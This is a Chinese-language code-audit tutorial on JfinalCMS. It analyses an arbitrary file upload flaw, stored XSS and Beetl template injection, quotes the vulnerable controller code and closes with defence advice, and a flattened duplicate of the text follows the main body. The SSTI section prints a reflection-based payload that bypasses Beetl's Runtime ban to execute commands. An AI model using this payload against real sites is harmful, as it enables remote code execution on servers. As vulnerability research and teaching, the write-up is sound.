一次意外的代码审计----JfinalCMS审计
字数 2041 2025-08-19 12:42:04

JfinalCMS 安全审计与漏洞分析教学文档

前言

本教学文档基于对 JfinalCMS 的代码审计实践,详细分析了该系统中存在的多个安全漏洞,包括任意文件上传、存储型 XSS 和 SSTI 模板注入漏洞。通过本教学,您将学习到如何发现和利用这些漏洞,以及如何防范类似安全问题。

环境搭建

JfinalCMS 提供多种搭建方式:

  1. 源码方式

    • 从 Gitee 或 GitHub 获取项目源码
    • 使用 IDEA 打开项目
    • IDEA 会自动导入并下载 Maven 依赖
  2. 发行版方式

漏洞分析

1. 任意文件上传漏洞

漏洞位置

管理员后台的模板管理功能

漏洞分析

  • 控制文件上传的代码位于 FileManagerController.java
  • 关键断点设置:
    1. HttpServletRequest request = getRequest()
    2. 文件上传方法内部

漏洞源码分析

  1. 文件上传基本验证

    public JSONObject add() {
        Iterator<?> it = this.files.iterator();
        if (!it.hasNext()) {
            this.error(lang("INVALID_FILE_UPLOAD"));
            return null;
        }
    
  2. 文件大小限制

    long maxSize = NumberUtils.parseLong(MAX_SIZE);
    if (getConfig("upload-size") != null) {
        maxSize = Integer.parseInt(getConfig("upload-size"));
        if (maxSize != 0 && item.getSize() > (maxSize * 1024 * 1024)) {
            this.error(sprintf(lang("UPLOAD_FILES_SMALLER_THAN"), maxSize + "Mb"));
            error = true;
        }
    }
    
    • 默认 maxSize 为 0,表示无限制
  3. 文件类型检查

    if (!isImage(item.getName())
            && (getConfig("upload-imagesonly") != null && getConfig("upload-imagesonly").equals("true") 
            || this.params.get("type") != null && this.params.get("type").equals("Image"))) {
        this.error(lang("UPLOAD_IMAGES_ONLY"));
        error = true;
    }
    
    • 配置文件 filemanager.propertiesupload-imagesonly=false 默认允许上传非图片文件
  4. 文件处理流程

    • 创建临时文件
    • 复制到上传目录并重命名
    • 删除临时文件

漏洞总结

  1. 开发者未限制上传文件大小(默认无限制)
  2. 上传文件仅在前端做了白名单验证,后端无校验
  3. 配置文件默认不开启 filemanager.upload-imagesonly,需手动设置

2. 存储型 XSS 漏洞

漏洞位置

用户个人信息修改功能

漏洞分析

  • 控制代码位于 PersonController.java
  • 数据更新流程:
    1. 将提交数据 JSON 化
    2. 根据用户 Session 判断用户 ID
    3. 验证密码和 Email 格式
    4. 更新数据库

漏洞源码分析

  1. 基本验证

    public void save() {
        JSONObject json = new JSONObject();
        json.put("status", 2); // 失败
    
        SysUser user = (SysUser) getSessionUser();
        int userid = user.getInt("userid");
        SysUser model = getModel(SysUser.class);
    
  2. 密码验证

    if (user.getInt("usertype") != 4) {
        String oldPassword = getPara("old_password");
        String newPassword = getPara("new_password");
        String newPassword2 = getPara("new_password2");
        // 密码验证逻辑...
    }
    
  3. Email 格式验证

    if (StrUtils.isNotEmpty(model.getStr("email")) && model.getStr("email").indexOf("@") < 0) {
        json.put("msg", "email格式错误!");
        renderJson(json.toJSONString());
        return;
    }
    
  4. 数据更新

    model.update();
    UserCache.init(); // 设置缓存
    SysUser newUser = SysUser.dao.findById(userid);
    setSessionUser(newUser); // 设置session
    json.put("status", 1); // 成功
    

漏洞总结

  1. 整个数据更新过程无任何防护措施
  2. 缺少对用户输入的过滤和转义
  3. 恶意脚本可被持久化存储并在其他用户访问时执行

3. SSTI 模板注入漏洞

漏洞位置

管理员后台模板修改功能

漏洞详情

  • 可修改模板代码插入恶意代码
  • 导致远程代码执行

漏洞分析

  1. 控制流程

    • 请求进入 FileManagerController.java
    • 判断请求方法为 POST 时,判断是 upload 还是 saveFile
    • 如果是 saveFile 方法,跳转到 FileManager.java 的 saveFile 方法
  2. 保存文件逻辑

    public JSONObject saveFile() {
        JSONObject array = new JSONObject();
        try {
            String content = this.get.get("content");
            content = FileManagerUtils.decodeContent(content);
            // 备份文件
            bakupFile(new File(getRealFilePath()));
            // 写入内容
            FileManagerUtils.writeString(getRealFilePath(), content);
        } catch (Exception e) {
            logger.error("IOException error", e);
            this.error("IOException error");
        }
        return array;
    }
    
  3. 模板引擎

Payload 构造

由于 Beetl 禁止了 java.lang.Runtimejava.lang.Process,需使用 Java 反射机制绕过:

  1. 基础 Payload

    ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",
    @java.lang.Class.forName("java.lang.String")).invoke(
    @java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}
    
  2. 构造过程

    • 原始调用方式:Runtime.getRuntime().exec("calc")
    • 反射方式:
      Class.forName("java.lang.Runtime")
           .getMethod("exec", String.class)
           .invoke(Class.forName("java.lang.Runtime")
                   .getMethod("getRuntime",null)
                   .invoke(null,null), "calc")
      
    • 由于不能直接使用 String.class,需替换为 Class.forName("java.lang.String")
    • Runtime 类无无参构造方法,需通过 getRuntime() 方法实例化

漏洞总结

  1. 模板修改功能无任何防护措施
  2. 使用 Beetl 模板引擎时,可通过反射绕过限制
  3. 构造 Payload 需要理解 Java 反射机制

防御建议

  1. 任意文件上传防御

    • 严格限制上传文件类型
    • 设置合理的文件大小限制
    • 在后端进行文件类型验证
    • 将上传文件存储在非 Web 可访问目录
  2. 存储型 XSS 防御

    • 对所有用户输入进行过滤和转义
    • 使用 CSP (Content Security Policy)
    • 设置 HttpOnly 标志的 Cookie
  3. SSTI 防御

    • 限制模板编辑权限
    • 对模板内容进行安全审查
    • 使用沙箱环境执行模板
    • 禁用危险的 Java 类和方法

参考资源

  1. Beetl 官方文档:http://ibeetl.com/guide/
  2. Java 反射机制教程
  3. OWASP XSS 防御指南:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  4. 文件上传安全指南:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
JfinalCMS 安全审计与漏洞分析教学文档 前言 本教学文档基于对 JfinalCMS 的代码审计实践,详细分析了该系统中存在的多个安全漏洞,包括任意文件上传、存储型 XSS 和 SSTI 模板注入漏洞。通过本教学,您将学习到如何发现和利用这些漏洞,以及如何防范类似安全问题。 环境搭建 JfinalCMS 提供多种搭建方式: 源码方式 : 从 Gitee 或 GitHub 获取项目源码 使用 IDEA 打开项目 IDEA 会自动导入并下载 Maven 依赖 发行版方式 : 从 Gitee 或 GitHub 下载发行版 Gitee 下载地址: https://gitee.com/jfinal/jfinal-cms GitHub 下载地址: https://github.com/jfinal/jfinal-cms 漏洞分析 1. 任意文件上传漏洞 漏洞位置 管理员后台的模板管理功能 漏洞分析 控制文件上传的代码位于 FileManagerController.java 关键断点设置: HttpServletRequest request = getRequest() 文件上传方法内部 漏洞源码分析 文件上传基本验证 : 文件大小限制 : 默认 maxSize 为 0,表示无限制 文件类型检查 : 配置文件 filemanager.properties 中 upload-imagesonly=false 默认允许上传非图片文件 文件处理流程 : 创建临时文件 复制到上传目录并重命名 删除临时文件 漏洞总结 开发者未限制上传文件大小(默认无限制) 上传文件仅在前端做了白名单验证,后端无校验 配置文件默认不开启 filemanager.upload-imagesonly ,需手动设置 2. 存储型 XSS 漏洞 漏洞位置 用户个人信息修改功能 漏洞分析 控制代码位于 PersonController.java 数据更新流程: 将提交数据 JSON 化 根据用户 Session 判断用户 ID 验证密码和 Email 格式 更新数据库 漏洞源码分析 基本验证 : 密码验证 : Email 格式验证 : 数据更新 : 漏洞总结 整个数据更新过程无任何防护措施 缺少对用户输入的过滤和转义 恶意脚本可被持久化存储并在其他用户访问时执行 3. SSTI 模板注入漏洞 漏洞位置 管理员后台模板修改功能 漏洞详情 可修改模板代码插入恶意代码 导致远程代码执行 漏洞分析 控制流程 : 请求进入 FileManagerController.java 判断请求方法为 POST 时,判断是 upload 还是 saveFile 如果是 saveFile 方法,跳转到 FileManager.java 的 saveFile 方法 保存文件逻辑 : 模板引擎 : 使用 Beetl 模板引擎 官方文档: http://ibeetl.com/guide/ Payload 构造 由于 Beetl 禁止了 java.lang.Runtime 和 java.lang.Process ,需使用 Java 反射机制绕过: 基础 Payload : 构造过程 : 原始调用方式: Runtime.getRuntime().exec("calc") 反射方式: 由于不能直接使用 String.class ,需替换为 Class.forName("java.lang.String") Runtime 类无无参构造方法,需通过 getRuntime() 方法实例化 漏洞总结 模板修改功能无任何防护措施 使用 Beetl 模板引擎时,可通过反射绕过限制 构造 Payload 需要理解 Java 反射机制 防御建议 任意文件上传防御 : 严格限制上传文件类型 设置合理的文件大小限制 在后端进行文件类型验证 将上传文件存储在非 Web 可访问目录 存储型 XSS 防御 : 对所有用户输入进行过滤和转义 使用 CSP (Content Security Policy) 设置 HttpOnly 标志的 Cookie SSTI 防御 : 限制模板编辑权限 对模板内容进行安全审查 使用沙箱环境执行模板 禁用危险的 Java 类和方法 参考资源 Beetl 官方文档: http://ibeetl.com/guide/ Java 反射机制教程 OWASP XSS 防御指南: https://cheatsheetseries.owasp.org/cheatsheets/Cross_ Site_ Scripting_ Prevention_ Cheat_ Sheet.html 文件上传安全指南: https://owasp.org/www-community/vulnerabilities/Unrestricted_ File_ Upload